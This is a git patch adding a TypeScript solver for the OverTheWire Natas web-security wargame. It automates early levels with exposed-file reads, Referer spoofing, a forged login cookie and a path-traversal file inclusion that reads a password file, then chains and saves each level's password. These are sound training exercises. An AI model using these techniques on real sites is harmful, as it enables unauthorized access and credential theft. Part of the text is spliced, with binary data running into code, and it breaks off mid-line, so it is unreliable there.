From ed8bf400d1c9a95e7f3b7ede96fdcaed6971fd6d Mon Sep 17 00:00:00 2001 From: Michael Zhang Date: Thu, 5 Oct 2023 00:39:07 -0500 Subject: [PATCH] initial --- .gitignore | 2 + bun.lockb | Bin 0 -> 1280 bytes index.ts | 55 +++++++++++++ package.json | 5 ++ solve.ts | 209 ++++++++++++++++++++++++++++++++++++++++++++++++++ tsconfig.json | 5 ++ util.ts | 76 ++++++++++++++++++ 7 files changed, 352 insertions(+) create mode 100644 .gitignore create mode 100755 bun.lockb create mode 100644 index.ts create mode 100644 package.json create mode 100644 solve.ts create mode 100644 tsconfig.json create mode 100644 util.ts diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c449ca2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +node_modules +passwords.json \ No newline at end of file diff --git a/bun.lockb b/bun.lockb new file mode 100755 index 0000000000000000000000000000000000000000..96a18528dc69c75035832e86e2a8ba7852c8c6b2 GIT binary patch literal 1280 zcmY#Z)GsYA(of3F(@)JSQ%EY!;{sycoc!eMw9K4T-L(9o+{6;yG6OCq1_lPZw2)n; zTc6Hzu!+7>VPH3JyMkbSv0G5D{~OUSQ{I?b6|evm0Rc!Y2yj3sINbo{SHToO`4Ebe zfdQs~q54hw*$$!CN{mnyvQS!pQDB!IGXujaD1Ztx{N;Pix{aBQp<(*^e3%}P9Lyql zAUhCfK1>ekPzIo#3}QfW&*E(hwr_l857L7UKzd;MKys-3fBgTDCDApL$!BDMn2T&Q z%j64}B>vmYm~v9K|Ib_A-c>qru`(u)GB{*RI=b_n|L*YHz42A*=B?A;+5BBG=~Kp( zWp=e`OrcFv7XA2BeqWhM71=EU5RQImaVm%f3eyeKAYq4WC$biNY|`}{fJV&~D9vS4 zT$HSrnO9trn3JOiOMrSIMX9NF3PuJB#hF#9`Dr=|CJKo;ndy1?X { + const newUrl = new URL( + url, + `http://natas${i}.natas.labs.overthewire.org/` + ); + const headers = new Headers(init?.headers); + + const authorization = btoa(`${user}:${prevPassword}`); + headers.set("Authorization", `Basic ${authorization}`); + const newInit = { ...init, headers }; + console.log(newUrl, user, prevPassword, newInit); + return await fetch(newUrl, newInit); + }; + + const solveFn = solve[i]; + + if (!solveFn) throw new Error(`No solution for natas${i} yet.`); + + try { + const password = await solveFn({ + username: user, + prevPassword, + fetch: fetchReplacement, + }); + + if (typeof password !== "string") throw new Error("non-string output"); + + prevPassword = password; + savePassword(i, password); + } catch (e) { + console.log("sad"); + console.trace(e); + break; + } + } +} + +main(); diff --git a/package.json b/package.json new file mode 100644 index 0000000..f099686 --- /dev/null +++ b/package.json @@ -0,0 +1,5 @@ +{ + "devDependencies": { + "bun-types": "^1.0.4-canary.20231004T140131" + } +} diff --git a/solve.ts b/solve.ts new file mode 100644 index 0000000..5be2a0d --- /dev/null +++ b/solve.ts @@ -0,0 +1,209 @@ +import { bytes2str, determinePeriod, hex2bin, xor } from "./util"; + +const solves: SolveFn[] = [ + async ({ fetch }) => { + const result = await fetch("/"); + const text = await result.text(); + const match = text.match(/The password for natas1 is ([^ ]+)/); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/"); + const text = await result.text(); + const match = text.match(/The password for natas2 is ([^ ]+)/); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/files/users.txt"); + const text = await result.text(); + const match = text.match(/^natas3:([^\s]+)$/m); + return match[1]; + }, + + async ({ fetch }) => { + // Discover this URL through /robots.txt + const result = await fetch("/s3cr3t/users.txt"); + const text = await result.text(); + const match = text.match(/^natas4:([^\s]+)$/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/", { + headers: { Referer: "http://natas5.natas.labs.overthewire.org/" }, + }); + const text = await result.text(); + const match = text.match(/The password for natas5 is ([^\s]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/", { + headers: { cookie: "loggedin=1" }, + }); + const text = await result.text(); + const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + const result = await fetch("/includes/secret.inc"); + const text = await result.text(); + const secret = text.match(/\$secret = "([^"]+)"/); + + const params = new URLSearchParams([ + ["secret", secret[1]], + ["submit", "Submit+Query"], + ]); + const result2 = await fetch("/", { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: params.toString(), + }); + const text2 = await result2.text(); + + const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m); + return match[1]; + }, + + async ({ fetch }) => { + // Local file inclusion + const result = await fetch( + "/index.php?page=../../../../../etc/natas_webpass/natas8" + ); + const text = await result.text(); + const match = text.match(/
\s+([a-zA-Z0-9]+)\s+